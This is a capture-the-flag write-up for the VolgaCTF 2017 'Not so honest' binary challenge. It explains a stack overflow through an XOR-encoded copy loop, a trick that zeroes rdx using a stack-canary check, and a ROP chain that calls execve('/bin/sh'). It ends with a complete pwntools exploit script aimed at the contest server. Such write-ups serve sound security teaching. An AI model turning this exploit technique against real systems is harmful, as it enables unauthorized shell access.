[writeup by @abiondo]
**CTF:** VolgaCTF 2017 Quals
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** exploits / Not so honest
**Points:** 350
```This server application claims to give you the flag provided you give it your encryption key. Honestly. But where's the catch?```
We have an ELF 64-bit Linux binary. `checksec.sh` shows partial RELRO, stack canary, NX and no PIE.
If we run the binary without arguments, it shows the usage:
```usage:    not_so_honest <flag_file> <key_file>        <flag_file>   flag to give away        <key_file>    key file```
If we give it two files, it asks for a key to give us the flag. I started reversing the binary and noticed a stack overflow right away in `main`:
```char input_key_hex[4096];...scanf("%s", input_key_hex);```
The input key is then hexdecoded and processed. Since there's a stack canary we'd need a leak, but I tried feeding it an input of something like 4500 `A`s anyway. Let's look at the crash:
```Program received signal SIGSEGV, Segmentation fault.0x0000000000401401 in ?? ()(gdb) x/i $rip=> 0x401401:    retq(gdb) x/xg $rsp0x7fffffffc3b8: 0x04bfef148209ddea```
Something funky is going on here. I expected an abort due to canary corruption, instead it's trying to jump to a corrupted return address, which should be prevented by the canary. In fact, `0x401401` is not in `main`! So there's another function vulnerable to stack overflows that isn't protected by the canary. Another thing I notice is that the return address `0x04bfef148209ddea`, while it doesn't look anything like a valid address, also doesn't look anything like our input.
I start looking at the code around `0x401401`, which is poorly handled by IDA as it has some random bytes in between instructions that I have to manually fix. To make things quicker, I fire up `qira` and trace the last write to the return address, which gets me to this loop:
```.text:401383 loc_401383:.text:401383    mov  r14, [r9+r11]    ; r14  = *((uint64_t *) (r9  + r11)).text:401387    xor  r14, [r10+r11]   ; r14 ^= *((uint64_t *) (r10 + r11)).text:40138B    xor  r14, [rdx+r11]   ; r14 ^= *((uint64_t *) (rdx + r11)).text:40138F    mov  [rsp+r11], r14   ; *((uint64_t *) (rsp + r11)) = r14.text:401393    add  r11, 8           ; r11 += 8.text:401397    cmp  r11, rcx.text:40139A    jl   short loc_401383 ; while (r11 < rcx) repeat```
It's encoding and copying input data to the stack. `r11` is the offset, which starts at zero and is incremented by 8 every iteration (because it's writing 8 bytes at a time). `rdx` points to the hexdecoded input buffer (in our case, `{0xaa, 0xaa, ...}`). `r9` points to some magic buffer at `0x602088` (in `.data`). `rdx` points to code at `0x401313`. `rcx` is the size of the hexdecoded input buffer (half the input size), but it's capped at `2047`. This means it can write up to 2kB of data. The return address is overwritten at the iteration with `r11` = 104, so we have ample space for our ROP chain.
The code at `0x401313` is obviously not going to change. The buffer at `0x602088` is pre-initialized in the binary and has some modifications done at runtime. The first 104 (!) bytes are zero and are not changed. Then it has:
- 256 bytes XORed, QWORD-wise, with `0x2a8429e525bc3757`- 256 bytes XORed, QWORD-wise, with `0x241b0b5573dca89a`- 104 bytes XORed, QWORD-wise, with `0x9ae43ac798b2df95`
I only cared about the first 256 bytes block, since it's more than enough for my ROP chain. With this knowledge we can generate an input that decodes exactly to what we want: we just need to XOR our desired result with the two QWORDs for the offset it's located at. To get to the return address we need an input with `104 * 2 = 208` hex digits before our XOR-encoded and then hexencoded address. Indeed it works, RIP control achieved!
The binary has NX enabled, so we need to build a ROP chain. There's a nice `syscall` gadget, so we're going to call `execve("/bin/sh", {NULL}, NULL)`. We need gadgets to set the syscall number (`rax`) and the first three arguments (`rdi`, `rsi`, `rdx`). We also need a write-what-where gadget for `filename` and `argv`. All but `rdx` are easy:
```POP_RAX = 0x401315 # pop rax; ret;POP_RDI = 0x4014a3 # pop rdi; ret;POP_RSI = 0x400816 # pop rsi; ret;SYSCALL = 0x40135b # syscall; ret;WWW_RDI_RAX = 0x40136a # mov qword ptr [rdi], rax; ret;```
I couldn't find a gadget to set `rdx`. We actually only need to zero it out. I tried division and multiplication instructions (which have side-effects on `rdx`) without luck. Ironically, I found a way out by abusing the stack canary mitigation. Functions with this mitigation store the canary from `fs:28h` in the stack between locals and the return address in their prologue. In the epilogue they compare the stack canary against the real canary from `fs:28h` and, if they are not equal, abort execution without returning. The catch is how this check is done: the stack canary is loaded into a register, then the register is XORed with the canary from `fs:28h` and the check fails if the register is not zero. This means that, after executing the function, that register will be zeroed. You can probably guess I found a function that used `rdx` for the check and was very easy to call without significant side effects:
```.text:400BE0    sub  rsp, 18h.text:400BE4    mov  byte ptr [rdi+rsi], 80h.text:400BE8    shr  rsi, 3.text:400BEC    mov  rax, fs:28h      ; load real canary.text:400BF5    mov  [rsp+8], rax     ; store canary on stack.text:400BFA    xor  eax, eax.text:400BFC    mov  rdx, [rsp+8]     ; rdx  = stack canary.text:400C01    xor  rdx, fs:28h      ; rdx ^= real canary.text:400C0A    jnz  short loc_400C15 ; != 0 -> check failed.text:400C0C    lea  rax, [rsi+1].text:400C10    add  rsp, 18h.text:400C14    retn.text:400C15 loc_400C15:.text:400C15    call    ___stack_chk_fail```
All this function does is storing the byte `0x80` at the address `rdi + rsi`, so we just need to make this point to some writable address. We have gadgets to set `rdi` and `rsi`, so it's not a problem. But we could also jump straight to `0x400bec` and avoid that. The stack pointer will be advanced by 24 bytes, which means we need as many bytes of junk in the chain. Setting `rdi` and `rsi` is 32 bytes, so let's go with `0x400bec`. The code will also corrupt `rax`, but that's not a significant issue.
I built a straightforward chain (see exploit code for details) and got a shell on my machine. When connecting to the remote service, I was presented with a puzzle such as:
```Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='41c171a223545b5bc9e7b2a2'```
I just bruteforced it with printable characters. At last, we have a shell:
```$ cat flag.txtVolgaCTF{ASLR_is_Usele$s_when_syscall_ret_is_in_B1n@ry}```
Full exploit code (the encoding is based off the +104 offset, 256 bytes were more than enough):
```python#!/usr/bin/python2
from pwn import *import hashlibimport itertoolsimport sys
DATA_STUFF = '561A5EB65B6C91842F343B815D114B155F50B5B10E0F2C41EA2F883E5E96F6DD1702F4B9B406BF7FB4F723FD36DA099BA89082F9635E538C46CC489F77B8E0A9A60453FFC99C3601DFE625EE69AD993ED6A0CDEFBA8A0F7D6BB57877B9356C8A5383396F133AD09C883BA6AB3BC9BDD677AC986B4CB11A81A5576C490FD343F357E3A34BA6956879DEC9C678ACE0B6E8AEAD4448F3F2DDBC13DE71C3A36B0B2096FB054055FB42864976DE0CCB27F07A556D7F009EA3AE71A731B1628A59195447F9AE023065CBFC2E07D413905460C7D75D2C124777F2809248818A40CC9D4BAA7AC092EEC7296175C25B56C6084C2FB6516196BD40E77C58968DB0F22EBE02'.decode('hex')TEXT_STUFF = '415A41BB000000004F8B34194F33341A4E33341A4E89341C4983C3084939CB7CE778037901E9478A34194732341A4632341A4688341C49FFC34939CB7CE84989E24989FC4C8D2CF500000000E806000000E8A601400000488B04244883C01348890424C34831DB498B141CE8A3FDFFFF4989141C4883C3084C39EB7CEA78037901E94883C468C34989F44C8B0249B9882060000000000078037901E8E8F0FDFFFF78037901E8488B174D89CAE862FDFFFF49891424C3662E0F1F8400000000000F1F440000415741564189FF415541544C8D25BE09200055488D2DBE092000534989F64989D54C29E54883EC0848C1FD03E847F2FFFF4885ED742031DB0F1F84'.decode('hex')
context(arch='amd64', os='linux')
p = remote('not-so-honest.quals.2017.volgactf.ru', 45678)
p.recvuntil("x[:24]=='")key_start = p.read(24)
print('[+] Bruteforcing key...')
alpha = [chr(i) for i in range(0x20, 0x7F + 1)]key = Nonefor cand in itertools.product(alpha, repeat=5):    cand_key = key_start + ''.join(cand)    digest = hashlib.sha1(cand_key).digest()    if digest[-3:] == '\xff\xff\xff' and ord(digest[-4]) & 3 == 3:        key = cand_key        break
if key is None:    print('ERROR: no key')    sys.exit(1)
print('[+] Found key: ' + key)p.sendline(key)
POP_RAX = p64(0x401315) # pop rax; ret;POP_RDI = p64(0x4014a3) # pop rdi; ret;POP_RSI = p64(0x400816) # pop rsi; ret;SYSCALL = p64(0x40135b) # syscall; ret;WWW_RDI_RAX = p64(0x40136a) # mov qword ptr [rdi], rax; ret;ZERO_RDX = p64(0x400bec) # zero rdx; corrupt rax; add rsp, 24; ret;
W_ADDR = 0x602100 # @ .data
rop_www = lambda addr, val : POP_RDI + p64(addr) + POP_RAX + val + WWW_RDI_RAX
# write '/bin/sh\x00' to W_ADDR (filename)rop  = rop_www(W_ADDR, '/bin/sh\x00')# write NULL to W_ADDR + 8 (argv[0])rop += rop_www(W_ADDR + 8, p64(0))# 1st arg (filename) = W_ADDRrop += POP_RDI + p64(W_ADDR)# 2nd arg (argv) = W_ADDR + 8rop += POP_RSI + p64(W_ADDR + 8)# 3rd arg (envp) = NULLrop += ZERO_RDX + 'A'*24 # 24 bytes junk# syscall number = 0x3b (execve)rop += POP_RAX + p64(0x3b)# execve("/bin/sh", {NULL}, NULL)rop += SYSCALL
# junk to get to return addressbuf = 'A' * 208# encode chainfor i in range(0, len(rop), 8):    enc  = u64(DATA_STUFF[i:i+8])    enc ^= 0x2a8429e525bc3757    enc ^= u64(TEXT_STUFF[i:i+8])    enc ^= u64(rop[i:i+8])    buf += p64(enc).encode('hex')
p.sendline(buf)p.interactive()```